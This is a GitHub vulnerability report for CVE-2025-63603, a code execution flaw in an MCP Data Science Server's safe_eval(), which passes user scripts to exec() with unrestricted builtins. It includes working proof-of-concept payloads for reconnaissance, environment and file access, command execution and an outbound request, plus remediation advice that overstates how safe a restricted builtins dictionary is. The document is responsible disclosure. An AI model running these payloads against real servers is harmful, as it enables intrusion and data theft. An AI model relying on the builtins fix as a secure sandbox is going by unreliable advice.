-
Notifications
You must be signed in to change notification settings - Fork 61
Description
CVE-2025-63603.
Summary
A critical command injection vulnerability has been identified in the MCP Data Science Server's safe_eval() function. Despite its name suggesting safety, this function allows arbitrary Python code execution with full system privileges, enabling complete system compromise.
Vulnerability Details
Location
- File:
src/mcp_server_ds/server.py - Function:
ScriptRunner.safe_eval()(Line 108) - Component: MCP Data Science Server
Root Cause Analysis
The vulnerability stems from three critical security flaws:
1. Unsafe exec() Usage
def safe_eval(self, script: str, save_to_memory: Optional[List[str]] = None):
# ❌ VULNERABLE: Direct execution of user input
exec(script,
{'pd': pd, 'np': np, 'scipy': scipy, 'sklearn': sklearn, 'statsmodels': sm},
local_dict)2. Missing __builtins__ Restriction ⚠️ CRITICAL FLAW
The globals dictionary lacks the '__builtins__' key. When this key is missing, Python automatically adds all built-in functions, including dangerous ones like:
__import__()- Import any moduleexec()- Execute additional codeeval()- Evaluate expressionsopen()- Access file systemgetattr()- Access object attributes
3. No Input Validation
User-provided scripts undergo zero validation before execution.
Proof of Concept
Test Environment
- Target: MCP Data Science Server
- Python Version: 3.11.9
- Operating System: Windows 10
- Attack Vector:
run_scripttool
PoC Execution Results
Phase 1: System Information Gathering
# Payload
print("=== Command Injection PoC - System Information ===")
import sys, os, platform, getpass
print(f"Python Version: {sys.version}")
print(f"Operating System: {platform.system()} {platform.release()}")
print(f"Current User: {getpass.getuser()}")
print(f"Working Directory: {os.getcwd()}")Result:
Phase 2: Environment Variable Access
# Payload
import os
critical_vars = ['PATH', 'USERNAME', 'USERPROFILE']
for var in critical_vars:
print(f"{var}: {os.environ.get(var)}")Result:
Phase 3: File System Reconnaissance
# Payload
import os
print("User directory contents:")
items = os.listdir(os.path.expanduser('~'))
for item in items[:8]:
print(f" {item}")Result:
Phase 4: System Command Execution
# Payload
import subprocess
result = subprocess.run(['whoami'], capture_output=True, text=True)
print(f"Command Output: {result.stdout.strip()}")Result:
Phase 5: Network Information & External Connectivity
# Payload
import socket, urllib.request
print(f"Local IP: {socket.gethostbyname(socket.gethostname())}")
response = urllib.request.urlopen('http://httpbin.org/ip')
print(f"External IP: {response.read().decode()}")Result:
Impact Assessment
Immediate Threats
✅ Complete System Information Disclosure
- Operating system details
- User account information
- Directory structure mapping
- Network configuration
✅ File System Access
- Read/write access to user directories
- Access to configuration files (.aws, .azure, etc.)
- Potential access to SSH keys and credentials
✅ Command Execution Capability
- Execute arbitrary system commands
- Install malware or backdoors
- Lateral movement within network
✅ Network Reconnaissance
- Internal IP address disclosure
- External connectivity confirmation
- Potential for data exfiltration
Technical Deep Dive: Why the Attack Works
The __builtins__ Auto-Addition Mechanism
# Current vulnerable code
globals_dict = {'pd': pd, 'np': np, 'scipy': scipy, 'sklearn': sklearn, 'statsmodels': sm}
exec(script, globals_dict, local_dict)What Python does internally:
# Python automatically adds this when '__builtins__' key is missing:
globals_dict['__builtins__'] = {
'__import__': __import__,
'exec': exec,
'eval': eval,
'open': open,
'getattr': getattr,
'setattr': setattr,
# ... and 100+ other built-in functions
}This auto-addition mechanism completely bypasses any intended security restrictions.
Remediation
Add '__builtins__': {} to the globals dictionary
def safe_eval(self, script: str, save_to_memory: Optional[List[str]] = None):
# ✅ SECURE: Explicitly restrict builtins
safe_globals = {
'pd': pd, 'np': np, 'scipy': scipy, 'sklearn': sklearn, 'statsmodels': sm,
'__builtins__': { # ⚠️ CRITICAL: Must be explicitly defined
# Only include absolutely necessary functions
'len': len,
'str': str,
'int': int,
'float': float,
'print': print, # For output capture
# ❌ NEVER include: __import__, exec, eval, open, getattr
}
}
exec(script, safe_globals, local_dict)Replace exec() with Safe Alternatives
- Use AST (Abstract Syntax Tree) parsing for code validation
- Implement a restricted Python execution environment
- Consider using
RestrictedPythonlibrary
Conclusion
The MCP Data Science Server contains a critical command injection vulnerability that provides attackers with complete system access. The root cause is the automatic addition of Python's __builtins__ when the key is missing from the globals dictionary in exec() calls.
Immediate action required:
- ✅ Add
'__builtins__': {}to theglobalsdictionary - ✅ Implement input validation
- ✅ Consider replacing
exec()entirely - ✅ Deploy security testing procedures
I want to issue a cve. If it's hard to report it directly, I can do it for you